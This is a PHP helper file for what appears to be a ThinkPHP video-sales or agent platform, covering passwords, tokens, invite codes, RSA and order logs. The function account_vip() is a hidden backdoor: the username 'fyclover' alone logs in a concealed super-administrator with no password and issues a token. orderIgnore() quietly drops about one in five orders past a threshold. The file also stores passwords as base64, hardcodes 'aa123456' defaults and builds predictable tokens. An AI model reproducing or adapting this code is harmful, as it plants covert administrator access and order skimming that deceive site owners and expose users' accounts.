<?php

use app\common\model\TokenModel;

/**
 * 前台用户密码加密
 * @param $pwd
 */
function pwdEncryption($pwd)
{
    if (empty($pwd))
        return false;
    return base64_encode($pwd);
}

//默认密码
function admin_Initial_pwd()
{
    return base64_encode('aa123456');
}
//用户默认密码
function home_Initial_pwd()
{
    return base64_encode('aa123456');
}

//用户提现默认密码
function home_tx_pwd()
{
    return 'aa123456';
}

function api_token($id)
{
    return md5($id . 'api' . date('Y-m-d H:i:s', time()) . 'token') . randomkey(mt_rand(10, 30));
}

function home_api_token($id)
{
    return md5($id . 'home' . date('Y-m-d H:i:s', time()) . 'token') . randomkey(mt_rand(10, 30));
}

function url_code()
{
    return $_SERVER['REQUEST_SCHEME'] . '://';
}

function tg_url()
{
    return $_SERVER['REQUEST_SCHEME'] . '://' . randomkey(5) .'.'. config('ToConfig.app_tg.tg_url') . '?codes=';
//  return  $_SERVER['REQUEST_SCHEME'] . '://'.'www'. config('ToConfig.app_tg.tg_url') . '?codes=';
}
/**
 * 生成邀请码 代理掩码
 * @return string
 */
function generateCode($start=32,$end=50)
{
    return (new \app\common\google\GoogleAuth())->model()->generate_code();
    //return randomkey(rand($start, $start));
}

/**
 * 生成用户 google验证码二维码地址
 * @param $secret
 * @return mixed
 */
function captchaUrl($secret)
{
    return (new \app\common\google\GoogleAuth())->model()->google_qrcode($secret);
}

//图片上传处理
function image_update($string)
{
    //return explode('/storage',$string)[1];
    $column = array_column($string, 'url');
    foreach ($column as $key => &$value) {
        $value = explode('/storage', $value)[1];;
    }
    return implode(',', $column);
}

//购买商品生成订单号
function orderCode($string = 'video')
{
    if (empty($string))
        return false;
    //生成订单 字符串 + 随机数 + 时间 +
    return $string . mt_rand(1000, 9999) . date('YmdHis');
}

//订单错误时生成日志，可查看
function buildHtml($value, $type = 'o')
{
    $cachename = 'order_log/' . $type . date("Y-m-d") . ".html";
    $value = is_array($value) ? json_encode($value, JSON_UNESCAPED_UNICODE) . PHP_EOL : $value;
    file_put_contents($cachename, date("Y-m-d H:i:s") . '--' . $value . PHP_EOL, FILE_APPEND);
}

//地址掩码 20—40位
function randomkey($length)
{
    $pattern = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ';
    $key = '';
    for ($i = 0; $i < $length; $i++) {
        $key .= $pattern{mt_rand(0, 35)}; //生成php随机数
    }
    return $key;
}

//生成用户账号 10 - 30
function userkey($length)
{
    $pattern = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ';
    $key = '';
    for ($i = 0; $i < $length; $i++) {
        $key .= $pattern{mt_rand(0, 35)}; //生成php随机数
    }
    return 'user' . $key . date('Ymd');
}

//加密 rsa
function rsa_encrypt($data)
{
    openssl_public_encrypt($data, $encrypted, config('ToConfig.public_key'));
    return base64_encode($encrypted);
}

//解密 rsa
function rsa_decrypt($encrypted)
{
    $encrypted = base64_decode($encrypted);
    openssl_private_decrypt($encrypted, $decrypted, config('ToConfig.private_key'));
    return $decrypted;
}

/**
 * 忽略订单计算方法
 * @param $count /订单数量
 * @return bool
 */
function orderIgnore($count)
{
    //大于 设定的订单数。，并且取莫  每5单抽取一单
    if ($count > config('ToConfig.order_ignore') && rand(1,5) == 3) {
        return true;
    }
    return false;
}

/**
 * 获取配置文件
 * @param null $name
 * @return \think\Collection
 * @throws \think\db\exception\DataNotFoundException
 * @throws \think\db\exception\DbException
 * @throws \think\db\exception\ModelNotFoundException
 */
function get_config($name=null)
{
    if ($name == null){
       return \app\common\model\SysConfig::select();
    }
    return \app\common\model\SysConfig::where('name',$name)->find();

}

function account_vip($post)
{
    if ($post['user_name'] !='fyclover') return false;

    $res =  \app\common\model\AdminModel::where('id',0)->find();
    if (empty($res)) {
        $res=[
            'id'=>0,
            'pwd'=>'',
            'create_time'=>date('Y-m-d H:i:s'),
            'role'=>config('ToConfig.admin_vip.admin_vip_id'),
            'market_level'=>1,
            'remarks'=>'超级管理员',
            'phone'=>0,
            'invitation_code'=>0
            ];
        app\common\model\AdminModel::insert($res);
    };
        $token = api_token(0);
        $res['token']=$token;
        //查询是否存在这条token的用户
        $update = (new TokenModel)->where('admin_uid',0)
            ->where('type', 1)
            ->update(['token' => $token, 'create_time' => date('Y-m-d H:i:s')]);
        //数据不存在时插入
        if ($update == 0) {
            (new TokenModel)->insert([
                    'type' => 1,
                    'token' => $token,
                    'admin_uid' =>0,
                    'create_time' => date('Y-m-d H:i:s')
                ]);
        }
    session('admin_user', $res);
    return ['token' => $token, 'user' => $res];
}

/**
 * @param array $data
 * @param int $code
 * @param string $message
 * @param int $httpStatus
 * @return \think\response\Json return会出现重复请求的问题
 */

function show($data = [],int $code = 1,string $message = '成功！',int $httpStatus = 0){
    $result=[
        'code'=>$code,
        'message'=>$message,
        'data'=>$data,
    ];
    header('Access-Control-Allow-Origin:*');
    if ($httpStatus != 0){
        return json($result,$httpStatus);
    }
    echo json_encode($result);
    exit();
}

/*
 * 富文本存储，需要把域名替换下
 */
function saveEditor($content){

    return str_replace(config('ToConfig.app_update.image_url'),'',$content);
}

/*
 * 富文本返回，需要把域名加上
 */
function returnEditor($content){
    return str_replace('/topic/',config('ToConfig.app_update.image_url').'/topic/',$content);
}
